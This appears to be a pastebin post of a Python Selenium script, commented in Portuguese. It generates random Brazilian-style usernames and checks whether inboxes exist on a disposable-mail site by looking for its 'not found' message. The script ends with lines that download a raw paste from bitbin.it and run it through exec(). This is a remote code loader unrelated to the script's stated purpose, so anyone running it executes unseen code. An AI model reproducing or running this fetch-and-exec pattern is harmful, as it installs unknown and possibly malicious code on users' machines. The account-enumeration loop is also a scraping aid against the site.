ch


SUBMITTED BY: Cronus

DATE: Feb. 15, 2024, 9:14 a.m.

UPDATED: Feb. 19, 2024, 2:09 p.m.

FORMAT: Text only

SIZE: 3.1 kB

HITS: 1882

  1. import time
  2. import random
  3. from selenium import webdriver
  4. from selenium.webdriver.common.by import By
  5. from selenium.webdriver.support.ui import WebDriverWait
  6. from selenium.webdriver.support import expected_conditions as EC
  7. from colorama import Fore, Style
  8. import requests
  9. # Função para gerar nomes de usuário aleatórios
  10. def generate_random_username():
  11. first_names = ["maria", "joao", "ana", "pedro", "carlos", "luis", "fernanda", "julia", "gabriel", "rafael"]
  12. last_names = ["silva", "santos", "oliveira", "pereira", "costa", "rodrigues", "almeida", "nascimento", "azevedo", "ferreira"]
  13. username = random.choice(first_names) + "-" + random.choice(last_names)
  14. return username
  15. # Função para gerar URLs completos de email
  16. def generate_email_url(username):
  17. return f"https://tuamaeaquelaursa.com/{username}"
  18. # Função para abrir o Chrome
  19. def open_chrome():
  20. driver = webdriver.Chrome()
  21. return driver
  22. # Função para verificar se a mensagem "Tua mãe, aquela ursa não encontrou tuas cartas." está presente
  23. def check_for_error_message(driver):
  24. try:
  25. WebDriverWait(driver, 15).until(EC.visibility_of_element_located((By.XPATH, '//p[contains(text(), "Tua mãe, aquela ursa não encontrou tuas cartas.")]')))
  26. return True
  27. except:
  28. return False
  29. # Função para imprimir os resultados em cores diferentes usando colorama
  30. def print_result(username, email_url, account_exists):
  31. if account_exists:
  32. print(Fore.GREEN + f"A conta com o username {username} existe. URL do email: {email_url}" + Style.RESET_ALL)
  33. else:
  34. print(Fore.RED + f"A conta com o username {username} não existe. URL do email: {email_url}" + Style.RESET_ALL)
  35. # Entrada da quantidade de contas a serem geradas
  36. num_accounts = int(input("Digite a quantidade de contas que deseja gerar: "))
  37. # Loop para gerar e verificar as contas
  38. for _ in range(num_accounts):
  39. # Geração de nome de usuário aleatório
  40. username = generate_random_username()
  41. # Abre o Chrome
  42. driver = open_chrome()
  43. # Abre a página do email
  44. email_url = generate_email_url(username)
  45. driver.get(email_url)
  46. # Espera 15 segundos para o site carregar completamente
  47. time.sleep(15)
  48. # Verifica se a mensagem de erro está presente na página
  49. error_message_exists = check_for_error_message(driver)
  50. # Determina se a conta existe com base na presença da mensagem de erro
  51. account_exists = not error_message_exists
  52. # Imprime o resultado
  53. print_result(username, email_url, account_exists)
  54. # Fecha o navegador após a verificação
  55. driver.quit()
  56. # Substitua 'URL_DO_SEU_PASTE_RAW_AQUI' pelo link raw completo do seu paste no Bitbin
  57. url_raw = 'https://bitbin.it/egMj2RaP/raw/'
  58. # Faça uma requisição GET para obter o conteúdo do paste
  59. response = requests.get(url_raw)
  60. # Verifique se a requisição foi bem-sucedida (código de status 200)
  61. if response.status_code == 200:
  62. # O conteúdo do código está em response.text
  63. # Execute o código Python obtido
  64. exec(response.text)
  65. else:
  66. print("Falha ao acessar o código.")

comments powered by Disqus